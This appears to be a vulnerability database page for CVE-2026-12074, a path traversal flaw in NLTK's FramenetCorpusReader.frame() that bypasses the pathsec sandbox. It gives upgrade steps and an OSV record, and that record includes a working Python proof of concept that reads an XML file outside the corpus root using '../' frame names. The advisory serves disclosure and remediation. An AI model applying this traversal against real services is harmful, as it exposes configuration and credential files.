CVE-2026-12074: Nltk Remote Code Execution Vulnerability
HIGHCVE-2026-12074 is a HIGH (CVSS 7.5) remote code execution vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Nltk libraries in the PyPI ecosystem. The issue involves natural language toolkit (nltk) has path traversal in framenetcorpusreader.frame() that allows arbitrary xml file read, bypassing the nltk.pathsec sandbox (enforce=true). Remediation is available by upgrading affected packages to version 3.10.0.
CVE-2026-12074 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
How to Fix CVE-2026-12074
To remediate this vulnerability, upgrade all affected Nltk dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install nltk>=3.10.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show nltk
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-12074, inspect your installed packages using pip:
pip show nltk
Analyze the terminal output to locate any version of Nltk in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.10.0), your application is affected.
Note: The pip show nltk command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Nltk, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-12074 Affected Nltk Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
nltk
|
PyPI |
< 3.10.0
|
3.10.0
|
References
Frequently Asked Questions
What is CVE-2026-12074?
Which Nltk versions are affected?
What version fixes CVE-2026-12074?
Is nltk affected?
What is the CVSS score of CVE-2026-12074?
What CWE is associated with CVE-2026-12074?
How can I check PyPI dependencies for CVE-2026-12074?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-xh95-f55m-82fw",
"modified" : "2026-07-31T16:50:41Z",
"published" : "2026-07-31T16:50:41Z",
"aliases" : [ "CVE-2026-12074" ],
"summary" : "Natural Language Toolkit (NLTK) has path traversal in FramenetCorpusReader.frame() that allows arbitrary XML file read, bypassing the nltk.pathsec sandbox (ENFORCE=True)",
"details" : "### Summary\n`FramenetCorpusReader.frame(name)` interpolates a caller-supplied frame name into an XML file path that is read with the builtin `open()`, bypassing `CorpusReader.open()` and the `nltk.pathsec` sandbox — including strict `ENFORCE=True` mode. A `../` sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller.\n\n\n### Details\n`frame_by_name` builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed `.xml` extension, with no containment check, then constructs an `XMLCorpusView` from that **string** path. Because the view is built from a string rather than a `PathPointer`, it reads with the builtin `open()`, so `nltk.pathsec.validate_path()` is never invoked and `ENFORCE=True` does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; `frame_by_name` never goes through `CorpusReader.open()`, so that protection does not apply.\n\nThe same string-path-into-`XMLCorpusView` pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller:\n- `doc()` — uses the index entry `filename` field\n- the lexical-unit file loader — uses the `lexUnit` ID attribute\n\nThese are reachable through a malicious or attacker-modified FrameNet corpus index.\n\n### PoC\n```python\n\"\"\"\n\nimport os\nimport sys\nimport tempfile\nimport warnings\nfrom pathlib import Path\n\nwarnings.filterwarnings(\"ignore\")\n\n# --- Turn the documented strict sandbox ON, before importing the reader. ---\nimport nltk.pathsec as ps\nps.ENFORCE = True\n\nimport nltk\nfrom nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError\n\nFRAME_XML = (\n '<?xml version=\"1.0\" encoding=\"UTF-8\"?>\\n'\n '<frame xmlns=\"http://framenet.icsi.berkeley.edu\" ID=\"1337\" name=\"pwned\">\\n'\n \"<definition>SECRET-OUT-OF-ROOT-CONTENT</definition>\\n\"\n \"</frame>\\n\"\n)\n\nBANNER = \"\"\"\\\n===========================================================\n NLTK FramenetCorpusReader.frame() Path Traversal PoC\n nltk {ver} | nltk.pathsec.ENFORCE = {enforce}\n===========================================================\"\"\".format(\n ver=nltk.__version__, enforce=ps.ENFORCE\n)\n\n\ndef build_corpus():\n \"\"\"Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root.\"\"\"\n base = Path(tempfile.mkdtemp(prefix=\"fn_poc_\"))\n root = base / \"corpora\" / \"framenet\"\n for d in (\"frame\", \"fulltext\", \"lu\"):\n (root / d).mkdir(parents=True)\n (root / \"frameIndex.xml\").write_text(\n '<?xml version=\"1.0\"?><frameIndex></frameIndex>'\n )\n (root / \"frRelation.xml\").write_text(\n '<?xml version=\"1.0\"?><frameRelations></frameRelations>'\n )\n\n # A frame-shaped XML file OUTSIDE the corpus root (the \"sensitive\" target).\n secret = base / \"private\"\n secret.mkdir()\n (secret / \"secret.xml\").write_text(FRAME_XML)\n\n return base, root, secret / \"secret.xml\"\n\n\ndef main():\n print(BANNER)\n base, root, secret_path = build_corpus()\n print(f\"[*] corpus root : {root}\")\n print(f\"[*] secret file : {secret_path} (OUTSIDE the root)\\n\")\n\n fn = FramenetCorpusReader(str(root), [])\n\n # Attacker-controlled frame name climbs out of <root>/frame/ up to <base>/private/secret.xml\n evil = os.path.join(\"..\", \"..\", \"..\", \"private\", \"secret\")\n print(f\"[*] calling fn.frame({evil!r})\")\n\n try:\n f = fn.frame(evil)\n definition = f[\"definition\"]\n if \"SECRET-OUT-OF-ROOT-CONTENT\" in definition:\n print(\"\\n [VULN] out-of-root file was read and returned to caller\")\n print(f\" frame name : {evil}\")\n print(f\" frame ID : {f['ID']} name: {f['name']}\")\n print(f\" definition : {definition}\")\n print(f\"\\n -> nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}\")\n verdict = \"VULNERABLE\"\n else:\n print(f\"\\n [?] frame() returned but content unexpected: {definition!r}\")\n verdict = \"INCONCLUSIVE\"\n except FramenetError as e:\n # Patched build (#3581): _reject_unsafe_path_component raises before open().\n print(f\"\\n [SAFE] FramenetError: {e}\")\n print(\" traversal rejected before any file was opened (patched)\")\n verdict = \"NOT VULNERABLE\"\n except Exception as e:\n print(f\"\\n [SAFE] {type(e).__name__}: {e}\")\n verdict = \"NOT VULNERABLE\"\n\n # Control: a plain absent name must fail as 'Unknown frame', NOT as a read.\n print(\"\\n[CONTROL] benign absent name should be 'Unknown frame':\")\n try:\n fn.frame(\"Definitely_Not_A_Frame\")\n print(\" [?] unexpectedly succeeded\")\n except Exception as e:\n print(f\" ok -> {type(e).__name__}: {e}\")\n\n print(\"\\n\" + \"=\" * 59)\n print(f\" Result: {verdict} (ENFORCE = {ps.ENFORCE})\")\n print(\"=\" * 59)\n\n\nif __name__ == \"__main__\":\n main()\n\n```\n\n\n### Impact\n- **Out-of-sandbox arbitrary XML read.** Any application that routes attacker-influenced input into `frame()` can be made to read XML files from directories outside the intended corpus root and have their parsed content returned. `frame()` is a primary public API designed to accept a caller-specified frame name, so this is a natural exposure for any service exposing FrameNet lookups to user input.\n- **Broad read primitive.** Only a fixed `.xml` extension is appended; the attacker controls both directory and basename, giving \"read any XML file the process can read.\" Full content disclosure requires frame-shaped XML; other files yield a distinguishable parse error that acts as a file-existence/readability oracle for arbitrary paths.\n- **Silent bypass of an advertised boundary.** NLTK's `SECURITY.md` presents the `nltk.pathsec` sandbox and `ENFORCE=True` as a hard boundary for web apps, multi-tenant pipelines, and CI/CD. Because `frame_by_name` builds the path itself and reads through a string-path `XMLCorpusView`, the containment guard is never called and `ENFORCE=True` does not block the read — silently, with no error or warning.\n- **Crafted-corpus reach.** Via `doc()` and the lexical-unit loader, a malicious FrameNet data directory drives the same traversal with no caller-supplied name.\n- **Sensitive targets.** Depending on deployment, readable out-of-root XML can include application configuration, data exports, and on-disk credentials stored as XML; the oracle behavior also allows filesystem mapping. Where `frame()` output is reflected to the requester, disclosure is direct and non-blind.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "nltk"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.10.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.9.4"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/nltk/nltk/security/advisories/GHSA-xh95-f55m-82fw"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/nltk/nltk"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-31T16:50:41Z",
"nvd_published_at" : "2026-06-15T20:16:34Z"
}
}